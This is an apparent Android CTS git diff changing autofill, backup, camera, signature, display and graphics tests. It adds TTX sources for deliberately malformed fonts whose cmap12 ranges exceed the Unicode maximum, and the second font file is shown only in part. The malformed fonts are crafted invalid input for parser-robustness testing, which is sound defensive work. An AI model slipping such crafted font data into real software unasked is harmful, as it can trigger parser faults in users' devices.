diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
index e10c4ff..205fcae 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -31,6 +31,7 @@
 import android.text.TextUtils;
 import android.text.TextWatcher;
 import android.util.AttributeSet;
+import android.util.DisplayMetrics;
 import android.util.Log;
 import android.util.Pair;
 import android.util.SparseArray;
@@ -38,6 +39,7 @@
 import android.view.View;
 import android.view.ViewStructure;
 import android.view.ViewStructure.HtmlInfo;
+import android.view.WindowManager;
 import android.view.autofill.AutofillManager;
 import android.view.autofill.AutofillValue;
 
@@ -81,10 +83,13 @@
         mUnfocusedColor = Color.BLACK;
         mFocusedColor = Color.RED;
         mTextPaint.setStyle(Style.FILL);
-        mTopMargin = 100;
-        mLeftMargin = 100;
-        mTextHeight = 90;
-        mVerticalGap = 10;
+        DisplayMetrics metrics = new DisplayMetrics();
+        WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
+        wm.getDefaultDisplay().getMetrics(metrics);
+        mTopMargin = metrics.heightPixels * 5 / 100;
+        mLeftMargin = metrics.widthPixels * 5 / 100;
+        mTextHeight = metrics.widthPixels * 5 / 100; // adjust text size with display width
+        mVerticalGap = metrics.heightPixels / 100;
 
         mLineLength = mTextHeight + mVerticalGap;
         mTextPaint.setTextSize(mTextHeight);
diff --git a/tests/backup/app/fullbackup/AndroidManifest.xml b/tests/backup/app/fullbackup/AndroidManifest.xml
index 849b13f..8161a95 100644
--- a/tests/backup/app/fullbackup/AndroidManifest.xml
+++ b/tests/backup/app/fullbackup/AndroidManifest.xml
@@ -23,6 +23,7 @@
         android:backupAgent="FullBackupBackupAgent"
         android:label="Android Backup CTS App"
         android:fullBackupOnly="true">
+
         <activity
             android:name=".MainActivity"
             android:label="Android Backup CTS App" >
@@ -31,5 +32,12 @@
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+
+        <receiver android:name=".WakeUpReceiver">
+            <intent-filter>
+                <action android:name="android.backup.app.ACTION_WAKE_UP" />
+            </intent-filter>
+        </receiver>
+
     </application>
 </manifest>
diff --git a/tests/backup/app/src/android/backup/app/WakeUpReceiver.java b/tests/backup/app/src/android/backup/app/WakeUpReceiver.java
new file mode 100644
index 0000000..10a9360
--- /dev/null
+++ b/tests/backup/app/src/android/backup/app/WakeUpReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.app;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/*
+ * Broadcast receiver pinged in order to make sure the app progressed from
+ * the stopped state after being installed, so that backup can be done.
+ */
+public class WakeUpReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "WakeUpReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.d(TAG, "android.backup.app should no longer be in the stopped state");
+    }
+}
diff --git a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
index 2343eb8..3924e87 100644
--- a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
+++ b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
@@ -50,6 +50,15 @@
         if (!isBackupSupported()) {
             return;
         }
+        // get the app out of (possibly) stopped state so that backup can be run
+        exec("cmd activity broadcast -a android.backup.app.ACTION_WAKE_UP " +
+                "-n android.backup.app/.WakeUpReceiver");
+
+        // give it 3s for the broadcast to be delivered
+        try {
+            Thread.sleep(3000);
+        } catch (InterruptedException e) {}
+
         String separator = clearLogcat();
         exec("bmgr backupnow " + BACKUP_APP_NAME);
         waitForLogcat(TIMEOUT_SECONDS,separator,
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 42907c4..b2124ce 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -238,9 +238,11 @@
     int mOnActive = 0;
 };
 
+
 class ImageReaderListener {
   public:
-    static void onImageAvailable(void* obj, AImageReader* reader) {
+    // count, acquire, validate, and delete AImage when a new image is available
+    static void validateImageCb(void* obj, AImageReader* reader) {
         ALOGV("%s", __FUNCTION__);
         if (obj == nullptr) {
             return;
@@ -320,6 +322,27 @@
         AImage_delete(img);
     }
 
+    // count, acquire image but not delete the image
+    static void acquireImageCb(void* obj, AImageReader* reader) {
+        ALOGV("%s", __FUNCTION__);
+        if (obj == nullptr) {
+            return;
+        }
+        ImageReaderListener* thiz = reinterpret_cast<ImageReaderListener*>(obj);
+        std::lock_guard<std::mutex> lock(thiz->mMutex);
+        thiz->mOnImageAvailableCount++;
+
+        // Acquire, but not closing.
+        AImage* img = nullptr;
+        media_status_t ret = AImageReader_acquireNextImage(reader, &img);
+        if (ret != AMEDIA_OK || img == nullptr) {
+            ALOGE("%s: acquire image from reader %p failed! ret: %d, img %p",
+                    __FUNCTION__, reader, ret, img);
+            return;
+        }
+        return;
+    }
+
     int onImageAvailableCount() {
         std::lock_guard<std::mutex> lock(mMutex);
         return mOnImageAvailableCount;
@@ -330,12 +353,6 @@
         mDumpFilePathBase = path;
     }
 
-    void reset() {
-        std::lock_guard<std::mutex> lock(mMutex);
-        mOnImageAvailableCount = 0;
-        mDumpFilePathBase = nullptr;
-    }
-
   private:
     // TODO: add mReader to make sure each listener is associated to one reader?
     std::mutex mMutex;
@@ -383,7 +400,6 @@
 
     // Free all resources except camera manager
     void resetCamera() {
-        mReaderListener.reset();
         mSessionListener.reset();
         if (mSession) {
             ACameraCaptureSession_close(mSession);
@@ -509,7 +525,8 @@
     }
 
     media_status_t initImageReaderWithErrorLog(
-            int32_t width, int32_t height, int32_t format, int32_t maxImages) {
+            int32_t width, int32_t height, int32_t format, int32_t maxImages,
+            AImageReader_ImageListener* listener) {
         if (mImgReader || mImgReaderAnw) {
             LOG_ERROR(errorString, "Cannot init image reader before closing existing one");
             return AMEDIA_ERROR_UNKNOWN;
@@ -527,8 +544,7 @@
             return AMEDIA_ERROR_UNKNOWN;
         }
 
-        ret = AImageReader_setImageListener(
-                mImgReader, &mReaderCb);
+        ret = AImageReader_setImageListener(mImgReader, listener);
         if (ret != AMEDIA_OK) {
             LOG_ERROR(errorString, "Set AImageReader listener failed. ret %d", ret);
             return ret;
@@ -749,14 +765,9 @@
                 mSession, nullptr, 1, &mStillRequest, &seqId);
     }
 
-    int getReaderImageCount() {
-        return mReaderListener.onImageAvailableCount();
-    }
-
     camera_status_t resetWithErrorLog() {
         camera_status_t ret;
 
-        mReaderListener.reset();
         closeSession();
 
         for (int i = 0; i < 50; i++) {
@@ -785,10 +796,6 @@
         return ACAMERA_OK;
     }
 
-    void setDumpFilePathBase(const char* path) {
-        mReaderListener.setDumpFilePathBase(path);
-    }
-
     CaptureSessionListener* getSessionListener() {
         return &mSessionListener;
     }
@@ -821,13 +828,6 @@
         CaptureSessionListener::onActive
     };
 
-    // TODO: capture listeners
-    ImageReaderListener mReaderListener;
-    AImageReader_ImageListener mReaderCb {
-        &mReaderListener,
-        ImageReaderListener::onImageAvailable
-    };
-
     ACameraIdList* mCameraIdList = nullptr;
     ACameraDevice* mDevice = nullptr;
     AImageReader* mImgReader = nullptr;
@@ -1577,11 +1577,8 @@
     return pass;
 }
 
-extern "C" jboolean
-Java_android_hardware_camera2_cts_NativeImageReaderTest_\
-testJpegNative(
-        JNIEnv* env, jclass /*clazz*/, jstring jOutPath) {
-    ALOGV("%s", __FUNCTION__);
+bool nativeImageReaderTestBase(
+        JNIEnv* env, jstring jOutPath, AImageReader_ImageCallback cb) {
     const int NUM_TEST_IMAGES = 10;
     const int TEST_WIDTH  = 640;
     const int TEST_HEIGHT = 480;
@@ -1590,9 +1587,11 @@
     bool pass = false;
     PreviewTestCase testCase;
 
-    const char* outPath = env->GetStringUTFChars(jOutPath, nullptr);
-    testCase.setDumpFilePathBase(outPath);
-    ALOGI("%s: out path is %s", __FUNCTION__, outPath);
+    const char* outPath = (jOutPath == nullptr) ? nullptr :
+            env->GetStringUTFChars(jOutPath, nullptr);
+    if (outPath != nullptr) {
+        ALOGI("%s: out path is %s", __FUNCTION__, outPath);
+    }
 
     camera_status_t ret = testCase.initWithErrorLog();
     if (ret != ACAMERA_OK) {
@@ -1626,8 +1625,13 @@
             goto cleanup;
         }
 
+        ImageReaderListener readerListener;
+        AImageReader_ImageListener readerCb { &readerListener, cb };
+        readerListener.setDumpFilePathBase(outPath);
+
         mediaRet = testCase.initImageReaderWithErrorLog(
-                TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES);
+                TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES,
+                &readerCb);
         if (mediaRet != AMEDIA_OK) {
             // Don't log error here. testcase did it
             goto cleanup;
@@ -1658,16 +1662,16 @@
         // wait until all capture finished
         for (int i = 0; i < 50; i++) {
             usleep(100000); // sleep 100ms
-            if (testCase.getReaderImageCount() == NUM_TEST_IMAGES) {
+            if (readerListener.onImageAvailableCount() == NUM_TEST_IMAGES) {
                 ALOGI("Session take ~%d ms to capture %d images",
                         i*100, NUM_TEST_IMAGES);
                 break;
             }
         }
 
-        if (testCase.getReaderImageCount() != NUM_TEST_IMAGES) {
+        if (readerListener.onImageAvailableCount() != NUM_TEST_IMAGES) {
             LOG_ERROR(errorString, "Camera %s timeout capturing %d images. Got %d",
-                    cameraId, NUM_TEST_IMAGES, testCase.getReaderImageCount());
+                    cameraId, NUM_TEST_IMAGES, readerListener.onImageAvailableCount());
             goto cleanup;
         }
 
@@ -1694,7 +1698,9 @@
     pass = true;
 
 cleanup:
-    env->ReleaseStringUTFChars(jOutPath, outPath);
+    if (outPath != nullptr) {
+        env->ReleaseStringUTFChars(jOutPath, outPath);
+    }
     ALOGI("%s %s", __FUNCTION__, pass ? "pass" : "failed");
     if (!pass) {
         throwAssertionError(env, errorString);
@@ -1702,6 +1708,23 @@
     return pass;
 }
 
+extern "C" jboolean
+Java_android_hardware_camera2_cts_NativeImageReaderTest_\
+testJpegNative(
+        JNIEnv* env, jclass /*clazz*/, jstring jOutPath) {
+    ALOGV("%s", __FUNCTION__);
+    return nativeImageReaderTestBase(env, jOutPath, ImageReaderListener::validateImageCb);
+}
+
+
+extern "C" jboolean
+Java_android_hardware_camera2_cts_NativeImageReaderTest_\
+testImageReaderCloseAcquiredImagesNative(
+        JNIEnv* env, jclass /*clazz*/) {
+    ALOGV("%s", __FUNCTION__);
+    return nativeImageReaderTestBase(env, nullptr, ImageReaderListener::acquireImageCb);
+}
+
 
 extern "C" jboolean
 Java_android_hardware_camera2_cts_NativeStillCaptureTest_\
@@ -1717,7 +1740,6 @@
     PreviewTestCase testCase;
 
     const char* outPath = env->GetStringUTFChars(jOutPath, nullptr);
-    testCase.setDumpFilePathBase(outPath);
     ALOGI("%s: out path is %s", __FUNCTION__, outPath);
 
     camera_status_t ret = testCase.initWithErrorLog();
@@ -1752,8 +1774,15 @@
             goto cleanup;
         }
 
+        ImageReaderListener readerListener;
+        AImageReader_ImageListener readerCb {
+            &readerListener,
+            ImageReaderListener::validateImageCb
+        };
+        readerListener.setDumpFilePathBase(outPath);
         mediaRet = testCase.initImageReaderWithErrorLog(
-                TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES);
+                TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES,
+                &readerCb);
         if (mediaRet != AMEDIA_OK) {
             // Don't log error here. testcase did it
             goto cleanup;
@@ -1799,16 +1828,16 @@
         // wait until all capture finished
         for (int i = 0; i < 50; i++) {
             usleep(100000); // sleep 100ms
-            if (testCase.getReaderImageCount() == NUM_TEST_IMAGES) {
+            if (readerListener.onImageAvailableCount() == NUM_TEST_IMAGES) {
                 ALOGI("Session take ~%d ms to capture %d images",
                         i*100, NUM_TEST_IMAGES);
                 break;
             }
         }
 
-        if (testCase.getReaderImageCount() != NUM_TEST_IMAGES) {
+        if (readerListener.onImageAvailableCount() != NUM_TEST_IMAGES) {
             LOG_ERROR(errorString, "Camera %s timeout capturing %d images. Got %d",
-                    cameraId, NUM_TEST_IMAGES, testCase.getReaderImageCount());
+                    cameraId, NUM_TEST_IMAGES, readerListener.onImageAvailableCount());
             goto cleanup;
         }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
index 7e4508a..b018645 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
@@ -38,5 +38,11 @@
                 testJpegNative(DEBUG_FILE_NAME_BASE));
     }
 
+    public void testImageReaderCloseAcquiredImages() {
+        assertTrue("testImageReaderClose fail, see log for details",
+                testImageReaderCloseAcquiredImagesNative());
+    }
+
     private static native boolean testJpegNative(String filePath);
+    private static native boolean testImageReaderCloseAcquiredImagesNative();
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index e011131..9f51fdf 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -624,6 +624,7 @@
             focuser = new Camera2Focuser(mCamera, mSession, mPreviewSurface, afListener,
                     mStaticInfo.getCharacteristics(), mHandler);
             if (canSetAfRegion) {
+                previewRequest.set(CaptureRequest.CONTROL_AF_REGIONS, afRegions);
                 stillRequest.set(CaptureRequest.CONTROL_AF_REGIONS, afRegions);
             }
             focuser.startAutoFocus(afRegions);
diff --git a/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
index 08cc051..3473cfd 100644
--- a/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
@@ -52,6 +52,9 @@
         // TODO(b/63383787) - These classes, which are nested annotations with @Retention(SOURCE)
         // are removed from framework.dex for an as yet unknown reason.
         KNOWN_INACCESSIBLE_CLASSES.add("android.content.pm.PackageManager.PermissionFlags");
+        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.IdentifierType");
+        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.ProgramType");
+        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.RadioManager.Band");
         KNOWN_INACCESSIBLE_CLASSES.add("android.os.UserManager.UserRestrictionSource");
         KNOWN_INACCESSIBLE_CLASSES.add(
                 "android.service.persistentdata.PersistentDataBlockManager.FlashLockState");
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 29328cb..71e33ae 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -39,6 +39,15 @@
 
 include $(LOCAL_PATH)/build_xml_api_file.mk
 
+# removed system api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-system-removed-api
+LOCAL_MODULE_STEM := system-removed.api
+LOCAL_SRC_FILES := frameworks/base/api/system-removed.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
 # current legacy-test api, in XML format.
 # ============================================================
 include $(CLEAR_VARS)
diff --git a/tests/signature/intent-check/AndroidTest.xml b/tests/signature/intent-check/AndroidTest.xml
index e68e3e6..da6895b 100644
--- a/tests/signature/intent-check/AndroidTest.xml
+++ b/tests/signature/intent-check/AndroidTest.xml
@@ -37,6 +37,9 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="system-removed.api->/data/local/tmp/signature-test/system-removed.api" />
+    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsIntentSignatureTestCases.apk" />
diff --git a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
index 02ed487..2f551dc 100644
--- a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
+++ b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
@@ -17,6 +17,7 @@
 
 import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
 import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
+import static android.signature.cts.CurrentApi.SYSTEM_REMOVED_API_FILE;
 
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
@@ -29,22 +30,21 @@
 
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
 
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.BufferedReader;
-import java.io.InputStreamReader;
-import java.io.IOException;
 import java.io.File;
 import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
 
-import org.junit.Assert;
-import org.junit.runner.RunWith;
-import org.junit.Before;
-import org.junit.Test;
-
-import org.xmlpull.v1.XmlPullParserException;
-
 /**
  * Validate that the android intents used by APKs on this device are part of the
  * platform.
@@ -115,6 +115,7 @@
             Set<String> intents = new HashSet<>();
             intents.addAll(parse(CURRENT_API_FILE));
             intents.addAll(parse(SYSTEM_CURRENT_API_FILE));
+            intents.addAll(parse(SYSTEM_REMOVED_API_FILE));
             return intents;
         } catch (XmlPullParserException | IOException e) {
             throw new RuntimeException("failed to parse", e);
diff --git a/tests/signature/src/android/signature/cts/CurrentApi.java b/tests/signature/src/android/signature/cts/CurrentApi.java
index a09c1b8..611bcb5 100644
--- a/tests/signature/src/android/signature/cts/CurrentApi.java
+++ b/tests/signature/src/android/signature/cts/CurrentApi.java
@@ -36,6 +36,8 @@
             API_FILE_DIRECTORY + "/current.api";
     public static final String SYSTEM_CURRENT_API_FILE =
             API_FILE_DIRECTORY + "/system-current.api";
+    public static final String SYSTEM_REMOVED_API_FILE =
+            API_FILE_DIRECTORY + "/system-removed.api";
 
     static final String TAG_ROOT = "api";
     static final String TAG_PACKAGE = "package";
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index ea1bc20..beeee3e 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -182,7 +182,11 @@
         assertFalse(cap.getDesiredMaxLuminance() < -1.0f);
         assertFalse(cap.getDesiredMinLuminance() < -1.0f);
         assertFalse(cap.getDesiredMaxAverageLuminance() < -1.0f);
-        assertFalse(display.isHdr());
+        if (hdrTypes.length > 0) {
+            assertTrue(display.isHdr());
+        } else {
+            assertFalse(display.isHdr());
+        }
     }
 
     /**
diff --git a/tests/tests/graphics/assets/out_of_unicode_end_cmap12.ttf b/tests/tests/graphics/assets/out_of_unicode_end_cmap12.ttf
new file mode 100644
index 0000000..9d7c121
--- /dev/null
+++ b/tests/tests/graphics/assets/out_of_unicode_end_cmap12.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/out_of_unicode_end_cmap12.ttx b/tests/tests/graphics/assets/out_of_unicode_end_cmap12.ttx
new file mode 100644
index 0000000..392c790
--- /dev/null
+++ b/tests/tests/graphics/assets/out_of_unicode_end_cmap12.ttx
@@ -0,0 +1,198 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+    <GlyphID id="2" name="b"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="3000" lsb="93"/>
+    <mtx name="b" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="0" nGroups="1" platformID="3" platEncID="10" language="0">
+    <!-- Note that following hexcode is pseudo ttx source.
+         You may want to see hexdump of out_of_unicode_end_cmap12.ttf -->
+    <hexdata>
+      00 0c  <!-- format: 12 -->
+      00 00  <!-- reserved -->
+      00 00 00 1c  <!-- length: 28 bytes -->
+      00 00 00 00  <!-- langauge -->
+      00 00 00 01  <!-- num of groups -->
+
+      <!-- Bad Font: cmap metadata specifies the encoding is Unicode but the cmap entry exceeds the
+           maximum code point: U+10FFFF. -->
+      <!-- start of the first group -->
+      00 10 ff ff  <!-- start code point -->
+      00 11 00 00  <!-- end code point -->
+      00 00 00 01  <!-- start glyph ID -->
+    </hexdata>
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="b" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/out_of_unicode_start_cmap12.ttf b/tests/tests/graphics/assets/out_of_unicode_start_cmap12.ttf
new file mode 100644
index 0000000..7d48357
--- /dev/null
+++ b/tests/tests/graphics/assets/out_of_unicode_start_cmap12.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/out_of_unicode_start_cmap12.ttx b/tests/tests/graphics/assets/out_of_unicode_start_cmap12.ttx
new file mode 100644
index 0000000..26426bd
--- /dev/null
+++ b/tests/tests/graphics/assets/out_of_unicode_start_cmap12.ttx
@@ -0,0 +1,198 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+    <GlyphID id="2" name="b"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
